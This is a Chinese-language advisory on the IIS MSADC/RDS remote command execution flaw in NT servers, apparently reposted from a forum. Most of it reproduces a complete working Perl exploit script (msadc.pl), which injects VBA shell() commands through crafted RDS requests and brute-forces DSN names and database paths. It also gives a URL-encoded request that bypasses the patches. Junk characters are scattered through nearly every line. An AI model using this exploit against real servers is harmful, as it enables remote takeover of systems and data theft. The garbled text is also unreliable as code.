IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
J]TqH`MA \:J=tAC 涉及程序:
M)oKtiav* Microsoft NT server
5FR#CQ x9Z89Gwi 描述:
XZKlE
F? 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
3Qe|'E,U P'qBqx[ 详细:
L6_%SGY_iE 如果你没有时间读详细内容的话,就删除:
xZ`z+) c:\Program Files\Common Files\System\Msadc\msadcs.dll
(-WRZLOQ 有关的安全问题就没有了。
Mm@G{J\\ |)!f".` 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
I0zx'x)F qqw P4ceG 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
,kJ7c;:i 关于利用ODBC远程漏洞的描述,请参看:
>O\+ 9T@ CK n2ZL http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _dm0*T ? &qS%~h%2 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
F^gTID http://www.microsoft.com/security/bulletins/MS99-025faq.asp BjfVNF;hk: I/njyV)H 这里不再论述。
u"qVT9C$= ]Kq<U%x$ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
9iG&9tB@ X~jdOaq{F: /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
c`xNTr01 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
G"?7 Z&+ b$DiDm U/enq,-F^ #将下面这段保存为txt文件,然后: "perl -x 文件名"
0]SWyC
: 9\.0v{&v #!perl
eI:[o #
f/J/tt # MSADC/RDS 'usage' (aka exploit) script
,7j8+p|}, #
(O+d6oT=Z2 # by rain.forest.puppy
l}/_(* #
|s!
_;6 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
^Q`5+ # beta test and find errors!
+4%~.,<_to ] x)>q use Socket; use Getopt::Std;
lV^#[% getopts("e:vd:h:XR", \%args);
ndLEIqOY u&Ic print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
p*c(dkOe8 by>%}#M if (!defined $args{h} && !defined $args{R}) {
&AJ bx print qq~
our
^J8 Usage: msadc.pl -h <host> { -d <delay> -X -v }
yDqwz[v b -h <host> = host you want to scan (ip or domain)
X0
|U?Ib? -d <seconds> = delay between calls, default 1 second
/#Pm'i>B -X = dump Index Server path table, if available
u"qu!EY2 -v = verbose
{*O%A
-e = external dictionary file for step 5
0FcDO5ia vSnVq>-q& Or a -R will resume a command session
3`reXms*{ &tZIWV1& ~; exit;}
v<v;Z R) }3: mn $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Nl YFS?5 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*:H,-@ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
jz<}9Kze if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
.rk5u4yK $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
s8,YQ5- if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
o)5zvnu7 twr{jdY9 if (!defined $args{R}){ $ret = &has_msadc;
v,}C~L3 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
n0 l|7:Mk +zMhA p print "Please type the NT commandline you want to run (cmd /c assumed):\n"
)r46I$]> . "cmd /c ";
gg#9I(pX $in=<STDIN>; chomp $in;
+
-Rf@ $command="cmd /c " . $in ;
6HCg<_j] q#3T
L< if (defined $args{R}) {&load; exit;}
V|
Fo@ c)#7T<>*' print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
GG>53}7{ &try_btcustmr;
#tKks:eL nqH[
y0 print "\nStep 2: Trying to make our own DSN...";
E9\"@wu[d &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
o?}dHTk7 t,%m-dU print "\nStep 3: Trying known DSNs...";
c-hc.i}! &known_dsn;
"^z%|uXkf 8)8~c@ print "\nStep 4: Trying known .mdbs...";
ZOfv\(iJ; &known_mdb;
M@es8\&S. X >7Pqn' if (defined $args{e}){
bji#ID2]% print "\nStep 5: Trying dictionary of DSN names...";
{oY"CZ2 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
>Y4^<!\v YA@?L!F print "Sorry Charley...maybe next time?\n";
:4zPYG o exit;
l\
dPfJ }K 'A/]' ##############################################################################
oA5Qk3b: 5b rM.. sub sendraw { # ripped and modded from whisker
Kc[^Pu sleep($delay); # it's a DoS on the server! At least on mine...
U=JK my ($pstr)=@_;
GImPPF socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
H&ek"nP_ die("Socket problems\n");
C2R"96M7q if(connect(S,pack "SnA4x8",2,80,$target)){
>e!J(4.- select(S); $|=1;
KOe]JDU print $pstr; my @in=<S>;
Kv*
1=HES select(STDOUT); close(S);
;cf$u}+ return @in;
(KC08 } else { die("Can't connect...\n"); }}
)>h3IR )*}\fmOv{ ##############################################################################
0Lj;t/mG !PoyM[Z"f sub make_header { # make the HTTP request
^
q ba<#e my $msadc=<<EOT
iWeUsS%zpV POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
4OM
]8I! User-Agent: ACTIVEDATA
10zM8<bl Host: $ip
x3Cn:F Content-Length: $clen
UZt3Ua&J Connection: Keep-Alive
&c-V
QP( vVtkB$]L ADCClientVersion:01.06
CX/[L)|Ru Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
b(N+_=
n ;sA
5&a>! --!ADM!ROX!YOUR!WORLD!
Bs0~P 4^ Content-Type: application/x-varg
i +@avoW Content-Length: $reqlen
4}D&=0IZ >AV9 K EOT
3q/"4D ; $msadc=~s/\n/\r\n/g;
g.Ur~5r return $msadc;}
^kK")+K pWzYC@_W
##############################################################################
XC6 |<pru I;jH'._k# sub make_req { # make the RDS request
0*]0#2Z my ($switch, $p1, $p2)=@_;
prO&"t
> my $req=""; my $t1, $t2, $query, $dsn;
o]p$
w[5 o!h::j0,~ if ($switch==1){ # this is the btcustmr.mdb query
w$$pTk|&n $query="Select * from Customers where City=" . make_shell();
=UO7!vr;[ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
I[Bp}6G $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
I|*<[/)]y }6LcimQyK elsif ($switch==2){ # this is general make table query
,hNs{-* $query="create table AZZ (B int, C varchar(10))";
RoHX0
$dsn="$p1";}
qK;J:GT> GKg #nXS elsif ($switch==3){ # this is general exploit table query
$Rze[3 $query="select * from AZZ where C=" . make_shell();
*RJD^hu $dsn="$p1";}
d^?e*USh Wx/PD=Sf& elsif ($switch==4){ # attempt to hork file info from index server
UBv#z&@[ $query="select path from scope()";
H '5zl^8I $dsn="Provider=MSIDXS;";}
-"yma_ $n8&5< elsif ($switch==5){ # bad query
Dp*:oMATx0 $query="select";
@QJPcF" $dsn="$p1";}
T^8`ji 68~]_r.a $t1= make_unicode($query);
0@'-g^PS $t2= make_unicode($dsn);
D {E,XOi $req = "\x02\x00\x03\x00";
0RdW.rZJ $req.= "\x08\x00" . pack ("S1", length($t1));
hT=E~|O $req.= "\x00\x00" . $t1 ;
@?tR-L<u $req.= "\x08\x00" . pack ("S1", length($t2));
qu1! KS $req.= "\x00\x00" . $t2 ;
%A
`9[icy $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
G|&$/]~ return $req;}
C.=%8|Zy F$v ^S+Ch ##############################################################################
cPL6(&7 l}S96B sub make_shell { # this makes the shell() statement
\RVfgfe return "'|shell(\"$command\")|'";}
"OP$n-*@% uG.` ##############################################################################
@B+8' b$9 y\6C9%. sub make_unicode { # quick little function to convert to unicode
h{]0
H'g my ($in)=@_; my $out;
+;@R&Y for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ak}ke return $out;}
h _c11# j*VYUM@y1\ ##############################################################################
IL&R&8' s*CBYzOm sub rdo_success { # checks for RDO return success (this is kludge)
Ki:98a$ my (@in) = @_; my $base=content_start(@in);
OpOR! if($in[$base]=~/multipart\/mixed/){
5 a&a-( return 1 if( $in[$base+10]=~/^\x09\x00/ );}
r,,* k E return 0;}
R=NK3iGT f 4tiCxf) ##############################################################################
V,7Xeh(+5L kU)E-h sub make_dsn { # this makes a DSN for us
L{f0r!d| my @drives=("c","d","e","f");
Ov:U3P?% print "\nMaking DSN: ";
7'{%djL foreach $drive (@drives) {
3gCP?%R print "$drive: ";
4GJx1O0Ol my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
)1 0aDTlr "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
OJ\j6owA . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
a$11u.\q+ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
p|>/Hz1v return 0 if $2 eq "404"; # not found/doesn't exist
}z-)!8vF if($2 eq "200") {
(:#4{C foreach $line (@results) {
sBN4:8 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
B`%%,SLJ } return 0;}
L@ N\8mf Qmv8T
^+ ##############################################################################
:$^sI"hO >va9*pdJ sub verify_exists {
OYfP!,+bn my ($page)=@_;
"y .(E7 6 my @results=sendraw("GET $page HTTP/1.0\n\n");
#=fd8}9 return $results[0];}
/h!iLun7I v Dph}Z ##############################################################################
bsWDjV~ G;msq=9| sub try_btcustmr {
!E/%Hv1 my @drives=("c","d","e","f");
=-uk7uZM my @dirs=("winnt","winnt35","winnt351","win","windows");
7:)$oH {bp~_`O foreach $dir (@dirs) {
XR)I,@i`' print "$dir -> "; # fun status so you can see progress
KDAZG+u+ foreach $drive (@drives) {
H? pWyc<, print "$drive: "; # ditto
N;av $reqlen=length( make_req(1,$drive,$dir) ) - 28;
`yb,z $reqlenlen=length( "$reqlen" );
:e4[isI $clen= 206 + $reqlenlen + $reqlen;
g5~1uU$O ")qO#b4 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
J$Ba*`~!! if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
4[LzjC else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
L_YY, A.S:eQvS% ##############################################################################
q1M16qv5 CY8=prC sub odbc_error {
0'y3iar my (@in)=@_; my $base;
c:`&QDF my $base = content_start(@in);
Y4/ !b if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
?37Kc,o $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
r`=!4vY2 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
z9*7fT $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
N5GQ2V return $in[$base+4].$in[$base+5].$in[$base+6];}
-}<W|r print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
cW, 6MAQo print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
R$40cW3` $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Ll6|Wh X G0$,H(]~ ##############################################################################
!bD`2m[Q ^,Y#_$oR sub verbose {
@GR|co my ($in)=@_;
tB{O6=q return if !$verbose;
LMte,zs> print STDOUT "\n$in\n";}
-RnQ8Iuo ~C],?X(zk ##############################################################################
7b[vZNi_ }q@Jh* sub save {
V,Br|r$l( my ($p1, $p2, $p3, $p4)=@_;
xyTjK.N open(OUT, ">rds.save") || print "Problem saving parameters...\n";
[VwoZX: print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
(%EhkTb close OUT;}
IE9A _u* i(XqoR-x ##############################################################################
7L&=z$U@m }Pe0zx.Ge sub load {
{oN7I'> my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
i5 0^%, open(IN,"<rds.save") || die("Couldn't open rds.save\n");
}M9L,O*^ @p=<IN>; close(IN);
{e8.E<f- $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
w873: = $target= inet_aton($ip) || die("inet_aton problems");
9y"*H2$# print "Resuming to $ip ...";
7w{>bYP $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
PYz^9Ud 6g if($p[1]==1) {
lGZ^ 8 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
kC)ye"r $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
VDq?,4Kb my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
7*r7Q' if (rdo_success(@results)){print "Success!\n";}
vL7JzSU_ else { print "failed\n"; verbose(odbc_error(@results));}}
LHz-/0[ elsif ($p[1]==3){
HGpj(U:`c if(run_query("$p[3]")){
}@:vq8%Q print "Success!\n";} else { print "failed\n"; }}
q\g|K3V) elsif ($p[1]==4){
<ibEo98 if(run_query($drvst . "$p[3]")){
0X3kVm< print "Success!\n"; } else { print "failed\n"; }}
[MKL>\U exit;}
m [FH> Cuq=>J ##############################################################################
EBN'u&zX $k|k 5cP8x sub create_table {
^SKuX?f\ my ($in)=@_;
HW(cA}$ $reqlen=length( make_req(2,$in,"") ) - 28;
H`;q@ $reqlenlen=length( "$reqlen" );
Fh4kd>1D $clen= 206 + $reqlenlen + $reqlen;
a$SGFA}V my @results=sendraw(make_header() . make_req(2,$in,""));
P p[?E.]P return 1 if rdo_success(@results);
v(/T<^{cuk my $temp= odbc_error(@results); verbose($temp);
Zi fAn return 1 if $temp=~/Table 'AZZ' already exists/;
TPrqb return 0;}
@<O
Bt d u<l[S ##############################################################################
Wo@0yF@ o'Byuct sub known_dsn {
_f u?, # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
U1t7XZ3e my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
g9`z]qGWS: "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
uMToVk`Uv "banner", "banners", "ads", "ADCDemo", "ADCTest");
J
;=~QYn[ W7lR54%| foreach $dSn (@dsns) {
/MB3w m print ".";
['~B& next if (!is_access("DSN=$dSn"));
ee.#Vhz if(create_table("DSN=$dSn")){
!>{`o/dZ print "$dSn successful\n";
$ Aw"?&d" if(run_query("DSN=$dSn")){
2WRa@;Tj print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.>0j<|~
print "Something's borked. Use verbose next time\n";}}} print "\n";}
,=tPh4> 3%G>TB ##############################################################################
0m^(|=N- ) )q4Rh sub is_access {
MV<2x7S my ($in)=@_;
1>1&NQ#} $reqlen=length( make_req(5,$in,"") ) - 28;
Ap{p_~~iJ $reqlenlen=length( "$reqlen" );
QQUYWC $clen= 206 + $reqlenlen + $reqlen;
/[iqga= my @results=sendraw(make_header() . make_req(5,$in,""));
Quy&CV{@ my $temp= odbc_error(@results);
lU0'5!3R, verbose($temp); return 1 if ($temp=~/Microsoft Access/);
+wU9d8W return 0;}
RHdcRojF |?=K'[5 ##############################################################################
lr:rQw9 -rSpgk0wL sub run_query {
r(W=1e' my ($in)=@_;
J2M[aibV $reqlen=length( make_req(3,$in,"") ) - 28;
VFj}{Y $reqlenlen=length( "$reqlen" );
}]ak6'|[ $clen= 206 + $reqlenlen + $reqlen;
W *t+!cU/: my @results=sendraw(make_header() . make_req(3,$in,""));
G'oMZb ({= return 1 if rdo_success(@results);
HrH-e=j my $temp= odbc_error(@results); verbose($temp);
?32gug\i'} return 0;}
iX]Vkx WleE$ , ##############################################################################
Nv@SpV' ]3xb Q1 sub known_mdb {
)_eEM1 my @drives=("c","d","e","f","g");
X!,2/WT my @dirs=("winnt","winnt35","winnt351","win","windows");
zrqQcnx9(m my $dir, $drive, $mdb;
M<R3Jz T my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_yi`relcq- ~)XyrKw # this is sparse, because I don't know of many
u]K&H&AxT my @sysmdbs=( "\\catroot\\icatalog.mdb",
4NaL#3 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
E-Nc|A "\\system32\\certmdb.mdb",
Cku#[?G "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
{k4)f ad\ fk5xIW my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
1 PL2[_2: "\\cfusion\\cfapps\\forums\\forums_.mdb",
w\o?p.drp= "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
)YE3n-~7{ "\\cfusion\\cfapps\\security\\realm_.mdb",
!2-f%x]tO "\\cfusion\\cfapps\\security\\data\\realm.mdb",
_?"P<3/iF "\\cfusion\\database\\cfexamples.mdb",
lxIoP "\\cfusion\\database\\cfsnippets.mdb",
WC6yQSnY& "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Id6H~; "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
OIpkXM "\\cfusion\\brighttiger\\database\\cleam.mdb",
zPzy0lx "\\cfusion\\database\\smpolicy.mdb",
jlvh'y` "\\cfusion\\database\cypress.mdb",
'
U]\]Wp "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
x3j)'`=15 "\\website\\cgi-win\\dbsample.mdb",
J:<mq5[ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
.E H&GX "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
3
q1LIM ); #these are just
6'YT3= foreach $drive (@drives) {
cR'l\iv+ foreach $dir (@dirs){
e
:(7$jo foreach $mdb (@sysmdbs) {
w;@NYMK) print ".";
cEI
"
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
(_h=|VjK(I print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
5bKBVkJ' if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
wKxw|Fpn print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
F|+Qi BO } else { print "Something's borked. Use verbose next time\n"; }}}}}
=lB+GS% '3BBTr%aZ foreach $drive (@drives) {
US5 ]@! foreach $mdb (@mdbs) {
#m
x4pf{ print ".";
='!E; if(create_table($drv . $drive . $dir . $mdb)){
muh[wo print "\n" . $drive . $dir . $mdb . " successful\n";
MI^@p`s if(run_query($drv . $drive . $dir . $mdb)){
tB S+?N print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Blw AD } else { print "Something's borked. Use verbose next time\n"; }}}}
+,7nsWV }
*0vq+C O;zq(/,-l ##############################################################################
in-|",O`Z t zn1| sub hork_idx {
]ySm|&aU print "\nAttempting to dump Index Server tables...\n";
~e|RVY, print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
}W2FF $reqlen=length( make_req(4,"","") ) - 28;
;Gc,-BDFw $reqlenlen=length( "$reqlen" );
/g/]Q^ $clen= 206 + $reqlenlen + $reqlen;
|/^ KFY" my @results=sendraw2(make_header() . make_req(4,"",""));
+2:\oy}!8 if (rdo_success(@results)){
tx` Z?K[ my $max=@results; my $c; my %d;
w)C/EHF for($c=19; $c<$max; $c++){
@c;XwU]2t $results[$c]=~s/\x00//g;
{5 V@O_*{ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
|7Dc7p"D $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
O0Z!*Hy $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
tQR qQ $d{"$1$2"}="";}
vIq>QXb;d foreach $c (keys %d){ print "$c\n"; }
'80mhrEutG } else {print "Index server doesn't seem to be installed.\n"; }}
`!,"">5 .rPg ##############################################################################
xUW\P$ WK2YHJ*$ sub dsn_dict {
$6[%NQp open(IN, "<$args{e}") || die("Can't open external dictionary\n");
91f{qq=#J{ while(<IN>){
V^* ];`^ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
NUO#[7OK+x next if (!is_access("DSN=$dSn"));
CvOji1 if(create_table("DSN=$dSn")){
'6g;UOx^= print "$dSn successful\n";
lJHU1
gu if(run_query("DSN=$dSn")){
@\*`rl] print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:)9CG!2y<M print "Something's borked. Use verbose next time\n";}}}
Ew<
sK9[o print "\n"; close(IN);}
Z;ze{Vb v(0IQ ##############################################################################
'zJBp 9a% et`1#_o sub sendraw2 { # ripped and modded from whisker
v[Mh[CyB sleep($delay); # it's a DoS on the server! At least on mine...
B~ ?R 6 my ($pstr)=@_;
j.]ln}b/'+ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
AU$<W"%R die("Socket problems\n");
nyoLrTs{ if(connect(S,pack "SnA4x8",2,80,$target)){
'048Qykt; print "Connected. Getting data";
t6q7w open(OUT,">raw.out"); my @in;
d Dg[ry select(S); $|=1; print $pstr;
R$Rub/b6 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
;NoiH& close(OUT); select(STDOUT); close(S); return @in;
"g5<j p } else { die("Can't connect...\n"); }}
_^Z
v[P
2S ##############################################################################
7+NBcZuG9 @
^q}.u` sub content_start { # this will take in the server headers
WJlJD*3 my (@in)=@_; my $c;
7_9^nDU for ($c=1;$c<500;$c++) {
r@t
\a+
if($in[$c] =~/^\x0d\x0a/){
q _INGCJ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
~0@uR else { return $c+1; }}}
$x/VO\Z{- return -1;} # it should never get here actually
A3Xfu$[u <B
Vx% ##############################################################################
Hg~8Td** >qy$W4 sub funky {
j'uzjs[ my (@in)=@_; my $error=odbc_error(@in);
]\1H=g%Ou if($error=~/ADO could not find the specified provider/){
l NLa:j print "\nServer returned an ADO miscofiguration message\nAborting.\n";
og?L 9 exit;}
*b4W+E if($error=~/A Handler is required/){
[]-<-TqJ print "\nServer has custom handler filters (they most likely are patched)\n";
/B
53Z[yL exit;}
l( WF if($error=~/specified Handler has denied Access/){
5(>ux@[qI: print "\nServer has custom handler filters (they most likely are patched)\n";
cd&sAK" exit;}}
@ N@
!Q yHo#v:>?p ##############################################################################
LVaJyI@/> !ra,HkU' sub has_msadc {
J[{ R:l\ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
tXCgRU my $base=content_start(@results);
3o2x&v return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
kmg/hNtN return 0;}
\IhHbcF`d ;uho.)%N`F ########################
wii.0~p w5+(A_ :sS4T&@1= 解决方案:
E{'Y>gB6 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
cK- jN9U 2、移除web 目录: /msadc